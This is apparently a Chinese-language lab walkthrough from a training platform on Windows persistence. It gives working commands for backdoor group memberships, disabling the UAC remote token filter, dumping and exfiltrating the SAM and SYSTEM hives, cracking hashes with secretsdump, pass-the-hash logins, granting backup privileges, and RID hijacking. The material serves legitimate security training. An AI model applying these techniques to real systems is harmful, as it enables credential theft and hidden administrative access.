篡改非特权帐户
分配组成员资格
C:\> net localgroup administrators thmuser0 /add
这将允许您使用 RDP、WinRM 或任何其他可用的远程管理服务来访问服务器。
如果这看起来太可疑,您可以使用Backup Operators组。该组中的用户没有管理权限,但可以读取
/写入
系统上的任何文件或注册表项,而忽略任何已配置的 DACL。这将允许我们复制 SAM 和 SYSTEM 注册表配置单元的内容,然后我们可以使用它们来恢复所有用户的密码哈希,使我们能够轻松升级到任何管理帐户
为此,我们首先将帐户添加到 Backup Operators 组:
C:\> net localgroup "Backup Operators" thmuser1 /add
由于这是一个非特权帐户,除非我们将其添加到远程桌面用户(RDP) 或远程管理用户(WinRM) 组,否则它无法通过 RDP 或 WinRM 返回计算机。我们将使用 WinRM 来完成这项任务:
C:\> net localgroup "Remote Management Users" thmuser1 /add
如果您现在尝试从您的攻击者机器连接,您会惊讶地发现即使您在 Backups Operators 组中,并且您也无法按预期访问所有文件。快速检查我们分配的组会表明我们是 Backup Operators 的一部分,但该组已禁用
user@AttackBox$ evil-winrm -i MACHINE_IP -u thmuser1 -p Password321
*Evil-WinRM* PS C:\> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators Alias S-1-5-32-551 Group used for deny only
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
这是由于用户帐户控制 (UAC)。UAC 实现的功能之一 LocalAccountTokenFilterPolicy会在远程登录时剥夺任何本地帐户的管理权限。虽然您可以从图形用户会话通过 UAC 提升您的权限(在此处阅读有关 UAC 的更多信息),但如果您使用的是 WinRM,您将被限制在没有管理权限的有限访问令牌中。
为了能够从您的用户那里重新获得管理权限,我们必须通过将以下注册表项更改为 1 来禁用LocalAccountTokenFilterPolicy
:
C:\> reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
一旦所有这些都设置好了,我们就可以使用我们的后门用户了。首先,让我们建立一个 WinRM 连接并检查是否为我们的用户启用了 Backup Operators 组:
user@AttackBox$ evil-winrm -i MACHINE_IP -u thmuser1 -p Password321
*Evil-WinRM* PS C:\> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
==================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators Alias S-1-5-32-551 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
然后我们继续备份 SAM 和 SYSTEM 文件并将它们下载到我们的攻击者机器上:
*Evil-WinRM* PS C:\> reg save hklm\system system.bak
The operation completed successfully.
*Evil-WinRM* PS C:\> reg save hklm\sam sam.bak
The operation completed successfully.
*Evil-WinRM* PS C:\> download system.bak
Info: Download successful!
*Evil-WinRM* PS C:\> download sam.bak
Info: Download successful!
注意:如果 Evil-WinRM 下载文件的时间太长,请随意使用任何其他传输方法。例如:smbserver.py
使用这些文件,我们可以使用或其他类似工具转储所有用户的密码哈希值secretsdump.py
:
user@AttackBox$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
[*] Target system bootKey: 0x41325422ca00e6552bb6508215d8b426
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:1cea1d7e8899f69e89088c4cb4bbdaa3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:9657e898170eb98b25861ef9cafe5bd6:::
thmuser1:1011:aad3b435b51404eeaad3b435b51404ee:e41fd391af74400faa4ff75868c93cce:::
[*] Cleaning up...
最后,执行使用管理员的hash
连接到受害机器:
user@AttackBox$ evil-winrm -i MACHINE_IP -u Administrator -H 1cea1d7e8899f69e89088c4cb4bbdaa3
特殊权限和安全描述符
无需修改任何组成员资格即可获得与将用户添加到 Backup Operators 组类似的结果。特殊组之所以特殊,是因为操作系统默认为它们分配了特定的权限。特权只是在系统本身上执行任务的能力。它们包括简单的事情,例如具有关闭服务器的能力,直到非常特权的操作,例如能够取得系统上任何文件的所有权。可在此处找到可用权限的完整列表以供参考。
对于 Backup Operators 组,它默认分配有以下两个权限:
- SeBackupPrivilege:用户可以读取系统中的任何文件,忽略任何 DACL。
- SeRestorePrivilege:用户可以写入系统中的任何文件,忽略任何 DACL。
我们可以将此类特权分配给任何用户,而不管他们的组成员身份如何。为此,我们可以使用secedit
命令。首先,我们将当前配置导出到一个临时文件:
secedit /export /cfg config.inf
我们打开文件并将我们的用户添加到配置中有关 SeBackupPrivilege 和 SeRestorePrivilege 的行:
我们最终将 .inf
文件转换为 .sdb
文件,然后使用该文件将配置加载回系统:
secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.inf
您现在应该拥有一个与任何备份操作员具有同等权限的用户。用户仍然无法通过 WinRM 登录系统,所以让我们做点什么。我们不会将用户添加到 Remote Management Users 组,而是更改与 WinRM 服务关联的安全描述符以允许 thmuser2 进行连接。将安全描述符视为 ACL,但应用于其他系统设施。
要打开 WinRM 安全描述符的配置窗口,您可以在 Powershell 中使用以下命令(为此您需要使用 GUI 会话):
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI
这将打开一个窗口,您可以在其中添加 thmuser2 并为其分配连接到 WinRM 的完整权限:
请注意,要让此用户完全使用给定的权限,您必须更改LocalAccountTokenFilterPolicy注册表项,但我们已经完成了此操作以获取先前的标志
如果您检查用户的组成员资格,它将看起来像普通用户。一点都不可疑!
C:\> net user thmuser2
User name thmuser2
Local Group Memberships *Users
Global Group memberships *None
RID劫持
另一种无需成为管理员即可获得管理权限的方法是更改某些注册表值,使操作系统认为您是管理员。
创建用户时,会为他们分配一个称为相对 ID (RID)的标识符。RID 只是一个代表整个系统用户的数字标识符。当用户登录时,LSASS 进程从 SAM 注册表配置单元获取其 RID 并创建与该 RID 关联的访问令牌。如果我们可以篡改注册表值,我们可以通过将相同的 RID 关联到两个帐户,让 Windows 将管理员访问令牌分配给非特权用户。
在任何 Windows 系统中,默认的 Administrator 帐户被分配RID = 500
,而普通用户通常RID >= 1000
。
要查找为任何用户分配的 RID,您可以使用以下命令:
C:\> wmic useraccount get name,sid
Name SID
Administrator S-1-5-21-1966530601-3185510712-10604624-500
DefaultAccount S-1-5-21-1966530601-3185510712-10604624-503
Guest S-1-5-21-1966530601-3185510712-10604624-501
thmuser1 S-1-5-21-1966530601-3185510712-10604624-1008
thmuser2 S-1-5-21-1966530601-3185510712-10604624-1009
thmuser3 S-1-5-21-1966530601-3185510712-10604624-1010
RID 是 SID 的最后一位(thmuser3 为 1010,Administrator 为 500)。SID 是一个标识符,它允许操作系统跨域识别用户,但对于此任务,我们不会太在意它的其余部分。
现在我们只需将 RID=500
分配给 thmuser3
。为此,我们需要使用 Regedit
访问 SAM。SAM 仅限于 SYSTEM 帐户,因此即使是管理员也无法对其进行编辑。要以 SYSTEM 身份运行 Regedit
,我们将使用 psexec
,它在C:\tools\pstools
您的机器中可用:
C:\tools\pstools> PsExec64.exe -i -s regedit
从 Regedit
中,我们将转到HKLM\SAM\SAM\Domains\Account\Users\
机器中每个用户都有一个密钥的地方。由于我们要修改 thmuser3
,因此我们需要搜索其 RID 为十六进制 (1010 = 0x3F2
) 的密钥。在相应的键下,会有一个名为F
的值,它在位置 0x30
处保存用户的有效 RID:
请注意,RID 是使用小尾数法存储的,因此它的字节显示为颠倒的。
我们现在将用十六进制的管理员** RID** (500 = 0x01F4
) 替换这两个字节,切换字节 (F401
):
thmuser3 下次登录时,LSASS 会将其关联到与 Administrator 相同的 RID,并授予他们相同的权限
如果你做的一切都正确,你应该登录到管理员的桌面